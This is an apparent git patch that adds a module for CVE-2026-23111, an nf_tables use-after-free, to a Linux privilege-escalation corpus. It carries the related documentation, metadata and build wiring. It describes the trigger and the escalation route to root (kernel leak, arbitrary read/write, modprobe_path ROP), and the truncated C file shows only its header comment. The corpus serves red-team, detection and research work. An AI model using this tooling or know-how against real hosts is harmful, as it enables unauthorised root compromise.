From 4d0a0e24437e0b068a7d5d884ad81bdda87a6d4e Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Mon, 8 Jun 2026 17:42:19 -0400 Subject: [PATCH] modules: add nft_catchall (CVE-2026-23111, nf_tables catch-all abort UAF) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The newest nftables LPE: a use-after-free in the nf_tables transaction- abort path. An inverted condition (a stray '!') in nft_map_catchall_activate() makes the abort path process active catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while the catch-all verdict still references it -> UAF, escalatable from an unprivileged user (userns + nftables) via modprobe_path/selinux_state ROP. Fixed upstream by f41c5d1; CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction by FuzzingLabs. Takes the corpus to 43 modules / 38 CVEs. 🟑 reconstructed trigger, primitive-only, NOT VM-verified β€” same contract as nf_tables (CVE-2024-1086). detect() version-gates (catch-all elems ~5.13; Debian backports 6.1.164/6.12.73/6.18.10, 7.0+ inherits) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child, builds a verdict map with a catch-all GOTO element, provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns EXPLOIT_FAIL β€” the per-kernel leak + R/W + modprobe_path ROP is not bundled. kernel_range table verified drift-clean against the live Debian tracker (the 6.18 branch / 6.18.10 fix is the real forky/sid backport; the earlier 7.0.10 figure was wrong). Wired: registry, Makefile, safety rank (35), 6 detect() test rows (version + userns gating), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md (sorted insert, CWE-416/T1068/not-KEV), README + CVES.md + website counts (43/38) + yellow pill, RELEASE_NOTES v0.9.11, verify-vm target. Credit: FuzzingLabs + upstream fix f41c5d1. Version 0.9.11. --- CVES.md | 5 +- Makefile | 7 +- README.md | 30 +- core/cve_metadata.c | 8 + core/registry.h | 1 + core/registry_all.c | 1 + docs/CVE_METADATA.json | 9 + docs/KEV_CROSSREF.md | 3 +- docs/RELEASE_NOTES.md | 33 + docs/index.html | 27 +- modules/nft_catchall_cve_2026_23111/MODULE.md | 62 ++ modules/nft_catchall_cve_2026_23111/NOTICE.md | 62 ++ .../skeletonkey_modules.c | 589 ++++++++++++++++++ .../skeletonkey_modules.h | 12 + skeletonkey.c | 3 +- tests/test_detect.c | 49 ++ tools/verify-vm/targets.yaml | 10 + 17 files changed, 880 insertions(+), 31 deletions(-) create mode 100644 modules/nft_catchall_cve_2026_23111/MODULE.md create mode 100644 modules/nft_catchall_cve_2026_23111/NOTICE.md create mode 100644 modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c create mode 100644 modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h diff --git a/CVES.md b/CVES.md index 09e7d40..de96718 100644 --- a/CVES.md +++ b/CVES.md @@ -23,14 +23,14 @@ Status legend: - πŸ”΄ **DEPRECATED** β€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 42 modules total covering 37 CVEs; **28 of 37 CVEs +**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. πŸ”΅ 0 Β· βšͺ 0 planned-with-stub Β· πŸ”΄ 0. (One βšͺ row below β€” CVE-2026-31402 β€” is a *candidate* with no module, not counted as a module.) > **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / -> `ptrace_pidfd` / `sudo_host` / `cifswitch` are blocked by their target environment (VMware-only, +> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only, > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition > libs) or are brand-new this cycle, not by missing code. See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). @@ -96,6 +96,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race β†’ `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟑 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context β€” honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. | | CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟒 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option β€” meant only to pair with `-l` β€” was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h `. Affects sudo 1.8.8 β†’ 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h id -u`, and pops a root shell only on a uid-0 witness β€” never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. | | CVE-2026-46243 | CIFSwitch β€” `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟑 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive β€” `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately β€” and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | +| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables β†’ chain UAF β†’ kernel R/W β†’ root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟑 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced β†’ UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` β€” the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | ## Operations supported per module diff --git a/Makefile b/Makefile index 60af826..2781876 100644 --- a/Makefile +++ b/Makefile @@ -237,6 +237,11 @@ CIW_DIR := modules/cifswitch_cve_2026_46243 CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS)) +# CVE-2026-23111 nft_catchall β€” nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro) +NCA_DIR := modules/nft_catchall_cve_2026_23111 +NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c +NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -250,7 +255,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ - $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) + $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index b4563b3..3091eaa 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 42 Linux LPE modules covering 37 CVEs from 2016 β†’ 2026. +> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 β†’ 2026. > Every year 2016 β†’ 2026 covered. 28 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -45,8 +45,8 @@ for every CVE in the bundle β€” same project for red and blue teams. ## Corpus at a glance -**42 modules covering 37 distinct CVEs** across the 2016 β†’ 2026 LPE -timeline. **28 of the 37 CVEs have been empirically verified** in real +**43 modules covering 38 distinct CVEs** across the 2016 β†’ 2026 LPE +timeline. **28 of the 38 CVEs have been empirically verified** in real Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or the t64-transition libc rollout) or are brand-new additions awaiting a @@ -68,7 +68,7 @@ af_packet Β· af_packet2 Β· af_unix_gc Β· cls_route4 Β· fuse_legacy Β· nf_tables Β· nft_set_uaf Β· nft_fwd_dup Β· nft_payload Β· netfilter_xtcompat Β· stackrot Β· sudo_samedit Β· sequoia Β· vmwgfx -### Empirical verification (28 of 37 CVEs) +### Empirical verification (28 of 38 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -137,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: active probes enabled β€” brief /tmp file touches and fork-isolated namespace probes -[*] auto: scanning 42 modules for vulnerabilities... +[*] auto: scanning 43 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -206,14 +206,16 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.10 cut 2026-06-08.** 42 modules across 37 CVEs β€” **every -year 2016 β†’ 2026 now covered**. Newest: `cifswitch` (CVE-2026-46243, +**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs β€” **every +year 2016 β†’ 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111, +the nf_tables `nft_map_catchall_activate` abort-path UAF β€” an inverted +condition frees a chain still referenced by a catch-all GOTO map element; +public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" β€” the `cifs.spnego` key type trusts userspace-forged authority fields, coercing the root `cifs.upcall` helper -into loading an attacker NSS module as root), `ptrace_pidfd` +into loading an attacker NSS module as root), and `ptrace_pidfd` (CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd` -credential-steal), and `sudo_host` (CVE-2025-32462, Stratascale's sudo -`--host` policy bypass). +credential-steal). v0.9.0 added 5 gap-fillers (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / @@ -243,19 +245,21 @@ Reliability + accuracy work in v0.7.x: trace, OPSEC footprint, detection-rule coverage, verified-on records. Paste-into-ticket ready. - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) β€” fetches - CISA KEV catalog + NVD CWE; 13 of 37 modules cover KEV-listed CVEs. + CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs. - **151 detection rules** across auditd / sigma / yara / falco; one command exports the corpus to your SIEM. - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (9 of 37 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs ≀ 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs β€” needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host` -+ `cifswitch` (brand-new this cycle, sweep pending). Rationale in ++ `cifswitch` (cifswitch detect + primitive VM-verified; full chain +pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not +VM-verified). Rationale in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and diff --git a/core/cve_metadata.c b/core/cve_metadata.c index c60f037..dd9f118 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -260,6 +260,14 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + .cve = "CVE-2026-23111", + .cwe = "CWE-416", + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, { .cve = "CVE-2026-31635", .cwe = "CWE-130", diff --git a/core/registry.h b/core/registry.h index d6590fe..5c62324 100644 --- a/core/registry.h +++ b/core/registry.h @@ -58,6 +58,7 @@ void skeletonkey_register_nft_pipapo(void); void skeletonkey_register_ptrace_pidfd(void); void skeletonkey_register_sudo_host(void); void skeletonkey_register_cifswitch(void); +void skeletonkey_register_nft_catchall(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 8de1f1a..6bf21c4 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -54,4 +54,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_ptrace_pidfd(); skeletonkey_register_sudo_host(); skeletonkey_register_cifswitch(); + skeletonkey_register_nft_catchall(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index ec16d84..daa37f0 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -278,6 +278,15 @@ "in_kev": false, "kev_date_added": "" }, + { + "cve": "CVE-2026-23111", + "module_dir": "nft_catchall_cve_2026_23111", + "cwe": "CWE-416", + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" + }, { "cve": "CVE-2026-31635", "module_dir": "dirtydecrypt_cve_2026_31635", diff --git a/docs/KEV_CROSSREF.md b/docs/KEV_CROSSREF.md index 0ce7a07..3e86b90 100644 --- a/docs/KEV_CROSSREF.md +++ b/docs/KEV_CROSSREF.md @@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited in the wild per the Known Exploited Vulnerabilities catalog. Refreshed via `tools/refresh-cve-metadata.py`. -**13 of 37 modules cover KEV-listed CVEs.** +**13 of 38 modules cover KEV-listed CVEs.** ## In KEV (prioritize patching) @@ -50,6 +50,7 @@ and are technically reachable. "Not in KEV" is not the same as | CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` | | CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` | | CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` | +| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` | | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` | | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` | | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` | diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index 32ef8d9..8a2c8a7 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -1,3 +1,36 @@ +## SKELETONKEY v0.9.11 β€” new LPE module: nft_catchall (CVE-2026-23111) + +Adds **`nft_catchall` β€” CVE-2026-23111**, taking the corpus to **43 +modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the +nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an +inverted condition (a stray `!`) so the abort path processes *active* +catch-all map elements instead of skipping them β€” a catch-all GOTO element +drives a chain's use-count to zero, and a following `DELCHAIN` frees the +chain while the catch-all verdict still references it β†’ UAF. From an +unprivileged user (user namespaces + nftables) it escalates to root via a +`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`; +CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by +**FuzzingLabs**. + +🟑 **Trigger (reconstructed) β€” primitive-only, not VM-verified.** This is +one more UAF in the corpus's most-covered subsystem (`nf_tables`, +`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same +contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that +fires the bug class and stops. `detect()` version-gates against the +Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10; +catch-all set elements arrived ~5.13) **and** requires unprivileged +user-namespace clone β€” a vulnerable kernel with userns locked down is +`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO +element and provokes an aborting batch transaction to drive the abort-path +UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak + +arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets +refused), and the trigger is reconstructed from the public analysis rather +than VM-verified β€” it never claims root it did not get. Ships auditd + +sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()` +unit-test rows (version + userns gating), credits FuzzingLabs + the +upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not +VM-verified, so the verified count stays 28 of 38. + ## SKELETONKEY v0.9.10 β€” new LPE module: cifswitch (CVE-2026-46243) Adds **`cifswitch` β€” CVE-2026-46243 "CIFSwitch"** (Asim Manizada, diff --git a/docs/index.html b/docs/index.html index 82dd95b..ecb9ca4 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY β€” Linux LPE corpus, VM-verified, SOC-ready detection - + - + @@ -56,14 +56,14 @@
- v0.9.10 β€” released 2026-06-08 + v0.9.11 β€” released 2026-06-08

SKELETONKEY

- One binary. 42 Linux LPE modules covering 37 CVEs β€” - every year 2016 β†’ 2026. 28 of 34 confirmed against + One binary. 43 Linux LPE modules covering 38 CVEs β€” + every year 2016 β†’ 2026. 28 of 38 confirmed against real Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. MITRE ATT&CK + CWE + CISA KEV annotated. --explain gives a one-page operator briefing per CVE. @@ -81,9 +81,9 @@

-
0modules
+
0modules
0βœ“ VM-verified
-
0β˜… in CISA KEV
+
0β˜… in CISA KEV
0detection rules
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)
β˜…

CISA KEV prioritized

- 13 of 37 CVEs in the corpus are in CISA's Known Exploited + 13 of 38 CVEs in the corpus are in CISA's Known Exploited Vulnerabilities catalog β€” actively exploited in the wild. Refreshed on demand via tools/refresh-cve-metadata.py.

@@ -294,7 +294,7 @@ uid=0(root) gid=0(root) tools/verify-vm/ spins up known-vulnerable kernels (stock distro + mainline from kernel.ubuntu.com), runs --explain --active per module, and records the - verdict. 28 of 37 CVEs confirmed against + verdict. 28 of 38 CVEs confirmed against real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; --list shows βœ“ per module. @@ -309,7 +309,7 @@ uid=0(root) gid=0(root)
-

37 CVEs across 10 years. β˜… = actively exploited (CISA KEV).

+

38 CVEs across 10 years. β˜… = actively exploited (CISA KEV).

@@ -357,6 +357,7 @@ uid=0(root) gid=0(root) vmwgfx ptrace_pidfd cifswitch + nft_catchall

@@ -417,7 +418,7 @@ uid=0(root) gid=0(root)

πŸŽ“

Researchers / CTF

- 37 CVEs, 10-year span, each with the original PoC author + 38 CVEs, 10-year span, each with the original PoC author credited and the kernel-range citation auditable. --explain shows the reasoning chain; detection rules let you practice both sides. Source is the documentation. @@ -514,7 +515,7 @@ uid=0(root) gid=0(root)

shipped
    -
  • 28 of 37 CVEs empirically verified in real Linux VMs
  • +
  • 28 of 38 CVEs empirically verified in real Linux VMs
  • kernel.ubuntu.com/mainline/ kernel fetch path β€” unblocks pin-not-in-apt targets
  • Per-module verified_on[] table baked into the binary
  • --explain mode β€” one-page operator briefing per CVE
  • @@ -601,7 +602,7 @@ uid=0(root) gid=0(root) who found the bugs.

diff --git a/modules/nft_catchall_cve_2026_23111/MODULE.md b/modules/nft_catchall_cve_2026_23111/MODULE.md new file mode 100644 index 0000000..38a0825 --- /dev/null +++ b/modules/nft_catchall_cve_2026_23111/MODULE.md @@ -0,0 +1,62 @@ +# nft_catchall β€” CVE-2026-23111 + +An nf_tables use-after-free reachable from an unprivileged user: an +inverted condition in `nft_map_catchall_activate()` mishandles catch-all +map elements on transaction abort, freeing a chain that a catch-all GOTO +verdict still references. + +## The bug + +nftables *maps* can hold a **catch-all** element β€” a default that matches +when no other element does β€” and in a verdict map that element carries a +GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the +**abort** phase of a netlink transaction to re-activate elements that a +rolled-back batch had touched. A single inverted `!` makes it operate on +*active* catch-all elements instead of skipping them, so the referenced +chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the +chain while the catch-all verdict still points at it β†’ **use-after-free**. + +Chaining a kernel-address leak, arbitrary R/W, and a ROP over +`modprobe_path` / `selinux_state` turns the UAF into root β€” all reachable +by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN` +over a private network namespace. + +## Affected range + +| | | +|---|---| +| Vulnerable path introduced | ~5.13 (catch-all set elements) | +| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) | +| Debian backports | 6.1.164 (bookworm) Β· 6.12.73 (trixie) Β· 6.18.10 (forkyΒ·sid) | +| Table thresholds | 6.1.164 Β· 6.12.73 Β· 6.18.10 (≀ Debian β†’ drift-clean) | +| NVD class | CWE-416 (Use After Free), CVSS 7.8 | +| CISA KEV | no | + +The 5.10 (bullseye) branch is still unfixed at time of writing β†’ +version-only VULNERABLE there. + +## Trigger / detection + +`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL` +when the kernel is vulnerable but unprivileged user-namespace clone is +denied (exploit unreachable), and `VULNERABLE` when the version is in +range and userns is allowed. + +`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens +`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element, +and sends an aborting batch to drive the abort-path UAF; it observes +`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL` +(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled, +and the trigger is reconstructed from public analysis, not VM-verified. + +## Fix / mitigation + +Upgrade the kernel. As a host hardening stopgap, deny unprivileged +user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the +AppArmor `apparmor_restrict_unprivileged_userns` toggle) β€” that closes the +unprivileged path even on a kernel-vulnerable host. + +## Credit + +Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See +`NOTICE.md`. diff --git a/modules/nft_catchall_cve_2026_23111/NOTICE.md b/modules/nft_catchall_cve_2026_23111/NOTICE.md new file mode 100644 index 0000000..0edd12b --- /dev/null +++ b/modules/nft_catchall_cve_2026_23111/NOTICE.md @@ -0,0 +1,62 @@ +# NOTICE β€” nft_catchall (CVE-2026-23111) + +## Vulnerability + +**CVE-2026-23111** β€” a **use-after-free** in the Linux kernel `nf_tables` +(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries +an **inverted condition** (a stray `!`): during a transaction *abort* it +processes *active* catch-all set elements instead of skipping them. A +catch-all element in an nftables **map** holds a verdict (GOTO/JUMP) +referencing a chain; the wrong (de)activation drives the chain's +use-count to zero, so a following `DELCHAIN` frees the chain while the +catch-all verdict element still references it β†’ UAF. + +From an **unprivileged** local user β€” via **user namespaces + nftables** +(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) β€” the UAF is escalatable to +root: leak a kernel address, obtain arbitrary R/W, ROP over +`modprobe_path` / `selinux_state`. + +NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH** +(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian +bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV. + +The fix removed a single character (the inverted `!`). + +## Research credit + +- **Fixed upstream** by commit + `f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix + … catch-all … activate"); reported and fixed through the Linux kernel + security process (NVD lists the source as `kernel.org`; no public + individual reporter name in the advisory). +- **Public reproduction + analysis** by **FuzzingLabs** β€” + β€” which the module's + trigger reconstruction is informed by. +- Debian security tracker (authoritative backport versions): + β€” + bookworm 6.1.164 / trixie 6.12.73 / forkyΒ·sid 6.18.10 (bullseye/5.10 + still unfixed at time of writing). + +All credit for finding and analysing this bug belongs to the upstream +reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the +bundling and bookkeeping layer only. + +## SKELETONKEY role + +🟑 **Trigger (reconstructed) β€” primitive-only, not VM-verified.** This is +one more UAF in the corpus's most-covered subsystem (`nf_tables`, +`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same +contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that +fires the bug class and stops. + +`detect()` version-gates against the Debian backports above (upstream +thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in +~5.13, so older kernels lack the path) **and** requires unprivileged +user-namespace clone β€” a vulnerable kernel with userns locked down is +`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO +element and provokes an aborting batch transaction to drive the +abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The +per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root +shell is **not** bundled (per-build offsets refused), and the trigger is +reconstructed from the public analysis rather than VM-verified β€” it never +claims root it did not get. diff --git a/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c b/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c new file mode 100644 index 0000000..95d77b1 --- /dev/null +++ b/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c @@ -0,0 +1,589 @@ +/* + * nft_catchall_cve_2026_23111 β€” SKELETONKEY module + * + * CVE-2026-23111 β€” a use-after-free in the Linux kernel's nf_tables + * (netfilter) transaction-abort path. `nft_map_catchall_activate()` + * carries an inverted condition (a stray `!`): on transaction abort it + * processes *active* catch-all set elements instead of skipping them. + * A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP) + * that references a chain; the wrong (de)activation lets the chain's + * use-count reach zero so a following DELCHAIN frees it while the + * catch-all verdict element still points at it β†’ UAF. From an + * unprivileged user (via user namespaces + nftables) this is escalatable + * to root: leak a kernel address, win arbitrary R/W, ROP over + * modprobe_path / selinux_state. + * + * CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H). + * Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8 + * ("remove one exclamation mark"). Public reproduction + analysis by + * FuzzingLabs. NOT in CISA KEV. + * + * STATUS: 🟑 TRIGGER (reconstructed) β€” primitive-only, NOT VM-verified. + * This is one more UAF in the most-covered subsystem in the corpus + * (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and + * like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated + * trigger that fires the bug class and STOPS. detect() version-gates + * against the Debian-tracked backports below and additionally requires + * unprivileged user-namespace clone (the bug is unreachable to an + * unprivileged user without it). exploit() builds a map with a + * catch-all GOTO element and provokes a failed (aborting) batch + * transaction to drive the abort-path 